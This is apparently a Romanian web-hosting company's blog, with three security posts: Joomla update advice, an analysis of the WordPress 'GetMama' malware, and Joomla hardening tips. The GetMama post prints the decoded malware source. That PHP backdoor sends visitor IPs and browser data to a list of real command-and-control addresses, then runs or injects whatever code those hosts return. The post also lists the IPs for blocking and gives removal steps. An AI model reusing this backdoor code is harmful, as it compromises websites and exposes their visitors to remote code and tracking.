Actualizare Joomla – din necesitate in obligatie

Datorita numeroaselor atacuri recente asupra utilizatorilor platformei Joomla!, producatorii australieni au lansat in prima jumatate a acestui an mai multe patch-uri de securitate si pachete de upgrade venite in sprijinul milioanelor de clienti de pe glob. Astfel, ca revenim cu rugamintea de a avea mereu platforma dumneavoastra la ultima versiune posibila de Joomla! si a actualiza toate componentele si pluginurile posibile.

De aproximativ 2-3 zile s-a descoperit o vulnerabilitate in componenta JCE care cauzeaza ca de pe contul pe care este instalatia sa fie trimise sute de mailuri cu continut pornografic. Hackerii nu exploatau neaparat o vulnerabilitate din platforma, ci una dintr-o componenta independenta. Ultima actualizare a JCE cuprindea, desigur, un fix care repara aceasta vulnerabilitate, dar peste 50% din utilizatori nu au procesat acel update. Zeci de mii de siteuri au fost afectate doar in Europa Centrala si de Est, generand unul din cele mai mari valuri de spam din ultimii 20 de ani.

Cativa pasi simpli pentru a va proteja siteul Joomla! :

1. Faceti update la toate componentele/pluginurile/temele/templaturile etc etc. Update! Acest cuvant trebuie sa il memorati daca folositi Joomla!
2. Niciodata sa nu salvati parola si userul de logare Joomla! in browser.
3. Intotdeauna faceti un backup al siteului inainte sa faceti update. Sau cereti un backup de la asistenta@clausweb.ro
4. Schimbati pagina de logare din http://domeniulmeu.ro/administrator in orice altceva. Poate sa fie http://domeniulmeu.ro/m-amsaturatdehackeri sau http://domeniulmeu.ro/maloghezinsiguranta sau orice doriti dumneavoastra. Acest lucru il puteti face simplu folosind http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/12254
5. Folositi cu incredere extensiile de migrare gen jUpgrade sau jMigrator. Va vor salva mult timp si multi nervi la migrarea prin versiunile de Joomla! De exemplu : http://extensions.joomla.org/extensions/migration-a-conversion/joomla-migration/11658 sau http://extensions.joomla.org/extensions/migration-a-conversion/extensions-migration/19950?qh=YToxOntpOjA7czo4OiJqdXBncmFkZSI7fQ%3D%3D
6. Folositi cu incredere portalul Joomla romanesc pentru sfaturi sau downloaduri http://www.joomla.ro/

Atentie! Daca utilizati Joomla 1.5, trebuie neaparat sa migrati ACUM catre o varianta mai noua. Joomla! nu mai oferta suport pentru 1.5 din septembrie 2012 si nu va mai oferi niciodata.

Cu stima,

Echipa Claus WEB


GETMAMA – Un nou virus pe wordpress infecteaza fisierul XMLRPC.php

In lumea bloggerilor a intrat un nou virus numit GETMAMA, nu va lasati indusi in eroare de numele acestuia, este unul dintre cele mai complexe virusuri deoarece este bine codat, ceea ce il face greu de depistat sau de inlaturat. Acesta afecteaza doar unele site-uri web afisand ferestre pop up. Luati aminte, acest virus afecteaza fisierul XMLRPC.php printre altele si doar utilizatorii de Windows. Codul este afisat doar o data pe zi pentru un ip si atunci nu afiseaza la toata lumea codul cu problema.

Noul virus este descris ca fiind unul “conditional” deoarece, in momentul infectarii acesta trimite informatia inapoi catre atacatori si are optiunea de a infecta un site, de a rula o comanda sau chiar de a nu face nimic. Informatii precum adresa de IP si date despre utilizatorul ce acceseaza site-ul ajung la dezvoltatorii acestui virus, iar acestia pot hotara daca sa afiseze continutul malitios sau nu. Daca acest continut malitios este afisat, acesta va va aparea doar o singura data pe zi, prin intermediul adresei de IP si doar utilizatorilor de Windows.

Acest virus a fost decodat si expus pe blogul celor de la sucuri.net. Forma decodata nu arata deloc cu forma virusului pe care o veti intalni, aceasta fiind codata pentru a o face mai greu de depistat.

if (!function_exists(„GetMama”)){

function mod_con($buf){str_ireplace(„”,””,$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace(„”,”” . stripslashes($_SERVER[„good”]),$buf); return $buf;}str_ireplace(„”,””,$buf,$cnt_h);if ($cnt_h == 1) {$buf = str_ireplace(„”,stripslashes($_SERVER[„good”]).””,$buf); return $buf;}

return $buf;}function opanki($buf){$gz_e = false;$h_l = headers_list();if (in_array(„Content-Encoding: gzip”, $h_l)) { $gz_e = true;}if ($gz_e){$tmpfname = tempnam(„/tmp”, „FOO”);file_put_contents($tmpfname, $buf);$zd =
gzopen($tmpfname, „r”);$contents = gzread($zd, 10000000);$contents = mod_con($contents);gzclose($zd);unlink($tmpfname);$contents = gzencode($contents);} else {$contents = mod_con($buf);}$len = strlen($contents);header(„Content-Length: „.$len);return($contents);}

function GetMama(){$mother = „compromisedsite.com”;return $mother;}

ob_start(„opanki”);

function ahfudflfzdhfhs($pa){$mama = GetMama();$file = urlencode(__FILE__);if (isset($_SERVER[„HTTP_HOST”])){$host = $_SERVER[„HTTP_HOST”];} else {$host = „”;}if (isset($_SERVER[„REMOTE_ADDR”])){$ip = $_SERVER[„REMOTE_ADDR”];} else {$ip = „”;}if (isset($_SERVER[„HTTP_REFERER”])){$ref = urlencode($_SERVER[„HTTP_REFERER”]);} else {$ref = „”;}if (isset($_SERVER[„HTTP_USER_AGENT”])){$ua = urlencode(strtolower($_SERVER[„HTTP_USER_AGENT”]));} else {$ua = „”;}if (isset($_SERVER[„QUERY_STRING”])){$qs = urlencode($_SERVER[„QUERY_STRING”]);} else {$qs = „”;}

$url_0 = „http://” . $pa;
$url_1 = „/jedi.php?version=0991&mother=” .$mama . „&file=” . $file . „&host=” . $host . „&ip=” . $ip . „&ref=” . $ref . „&ua=” .$ua . „&qs=” . $qs;
$try = true;

if( function_exists(„curl_init”) ){$ch = curl_init($url_0 . $url_1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$ult = trim(curl_exec($ch));
$try = false;}

if ((ini_get(„allow_url_fopen”)) && $try) {$ult = trim(@file_get_contents($url_0 . $url_1));$try = false;}

if($try){$fp = fsockopen($pa, 80, $errno, $errstr, 30);if ($fp) {$out = „GET $url_1 HTTP/1.0\r\n”;
$out .= „Host: $pa\r\n”;
$out .= „Connection: Close\r\n\r\n”;
fwrite($fp, $out);
$ret = „”;
while (!feof($fp)) {$ret  .=  fgets($fp, 128);}fclose($fp);$ult = trim(substr($ret, strpos($ret, „\r\n\r\n”) + 4));}}

if (strpos($ult,”eval”) !== false)
{
$z = stripslashes(str_replace(„eval”,””,$ult)); eval($z); exit();
}
if (strpos($ult,”ebna”) !== false){$_SERVER[„good”] = str_replace(„ebna”,””,$ult);return true;}
else {return false;}}

$father2[] = „78.46.173.14”;
$father2[] = „176.9.218.191”;
$father2[] = „91.228.154.254”;
$father2[] = „77.81.241.253”;
$father2[] = „184.82.117.110”;
$father2[] = „46.4.202.93”;
$father2[] = „46.249.58.135”;
$father2[] = „176.9.241.150”;
$father2[] = „46.37.169.56”;
$father2[] = „46.30.41.99”;
$father2[] = „94.242.255.35”;
$father2[] = „178.162.129.223”;
$father2[] = „78.47.184.33”;
$father2[] = „31.184.234.96”;
shuffle($father2);
foreach($father2 as $ur){if ( ahfudflfzdhfhs($ur) ) { break ;}}}

Cam atatea au fost spuse de acest virus, iar in continuare va oferim cateva solutii ce va va ajuta sa scapati de el.Pentru a-l inlatura este indicat verificarea traficului urmatoarelor adrese de IP si, ulterior, blocarea lor.

78.46.173.14
176.9.218.191
91.228.154.254
77.81.241.253
184.82.117.110
46.4.202.93
46.249.58.135
176.9.241.150
46.37.169.56
46.30.41.99
94.242.255.35
178.162.129.223
78.47.184.33
31.184.234.96

O alta alternativa este oferita pe site-ul edeir.ro si propune urmatoarea solutie, instalarea plugin-ului wordfence ce va efectua o scanare. Daca va depista ca fisierul XMLRPC.php a fost modificat sau oricare alt fisier de la wordpress inseamna ca ati fost infectat de acest virus. Stergeti fisierele respective, cautati ultima versiune de wordpress, in acesta veti gasi toate fisierele orginale care trebuie incarcate pe server. Exista un singur inconvenient, veti pierde orice personalizare facuta, dar veti elimina cu siguranta acest virus, desi exista sanse ca el sa revina daca aveti alte brese de securitate in difeirte teme sau pluginuri instalate.

Multa bafta in eliminarea virusului!


Vulnerabilitati Joomla! – cum sa ne protejam

Vulnerabilitati Joomla!HACKED!      DEFACED!      SITE SPART!          SITE DELETED !

SITE BLOCKED BY GOOGLE!      YOUR SITE CONTAINS MALWARE!

sunt doar cateva din mesajele care iti cauzeaza un mini-atac de panica in momentul in care le vezi afisate  pe pagina care, nu cu mult timp in urma, era site-ul tau Joomla!.  In continuare, vei putea citi care sunt cele mai des intalnite greseli pe care utilizatorii de Joomla! le fac si cum sa nu le faci si tu, pentru a te proteja de atacurile informatice.

Utilizezi o versiune veche de Joomla.  Prima si cea mai importanta masura pe care poti sa o iei este sa fi mereu la zi cu instalatia ta Joomla. Stim ca este dificil, avand in vedere ca apar tot felul de probleme de compatibilitate cu extensiile si pluginurile pe care le-ai instalat, dar credem ca securitatea site-ului tau ar trebui sa fie pe primul loc. Solutii se pot gasi, intotdeauna exista o cale de mijloc. Incearca sa dai disable la o extensie sau o componenta, daca aceasta inca nu este compatibila cu ultima versiune de Joomla.

Extensii foarte vechi sau care nu mai sunt dezvoltate. Pe locul doi, dar la fel de important ca si motiv pentru care site-ul tau a fost hackuit, este folosirea extensiilor vechi. Intotdeauna trebuie sa iti faci update la extensii. Nu exista niciun motiv pentru care sa refuzi un update. Este o extensie la care de multa vreme nu ai primit niciun update ? Poate este timpul sa te gandesti  sa renunti la ea si sa cauti una asemanatoare care este intretinuta de producatorul ei. Daca totusi nu vrei sa renunti la ea, roaga un programator sa arunce o privire peste cod.

Schimba permisiunile din .htaccess. Setarea standard permite modificarea fisierului .htaccess, deoarece Joomla are nevoie de aceste permisiuni pentru a face update, mai ales cand se foloseste SEF. Totusi, cu permisiuni de modificare, acest fisier este foarte vulnerabil si poate deveni o tinta mult prea ispititoare pentru hacker. O idee foarte buna este sa setezi permisiunile la 444 sau chiar 440. Aceasta setare permite ca doar cei logati ca si admin sau root sa poata face modificari. Fisierele nu trebuie sa aiba niciodata valoarea permisiunii 777! Permisiunile corecte sunt: 644 pentru fisierele php sau html si 755 pentru foldere. Daca un fisier sau un folder are permisiunea 777, imagineaza-ti ca ai deschis “usa” larg si ai pus un afis mare cu “Bun venit hackerilor!” deasupra ei.

Scripturi urcate de utilizatori. Una dintre cele cele mai mari greseli pe care le fac proprietarii de site este faptul ca permit utilizatorilor sa uploadeze orice. Un caz concret: daca ai facut un site pe care utilizatorii pot sa faca sharing de imagini,  atunci asigura-te ca se pot urca doar imagini. Nu arhive, nu executabile si, mai ales, nu scripturi (fisiere php). Asta e ideea.

Neschimbarea parolei dupa ce a fost furnizata programatorului. Nu toti ne pricepem la programare, design web sau functionalitate php. De aceea, angajam personal specializat. Programatorii sau designerii au nevoie de datele de logare ale site-ului pentru a uploada, modifica sau sterge continut. Dar nu trebuie sa uitam ca odata ce si-au terminat treaba, trebuie sa schimbam datele de logare sau parola. Oricum, firmele profesioniste, sterg aceste date la finalul unei lucrari.

Securitatea este un domeniu in permanenta perfectionare si transformare. Zilnic apar noi mijloace sau gauri de securitate pentru utilizatorii rau intentionati. Dar tot des apar si module de securitate mai performante, update-uri si articole noi despre cum sa ne protejam. NU exista un site 100% securizat, probabil ca nu va exista niciodata, dar respectarea regulilor de mai sus va scadea probabilitatea sa fiti victima unui atac informatic.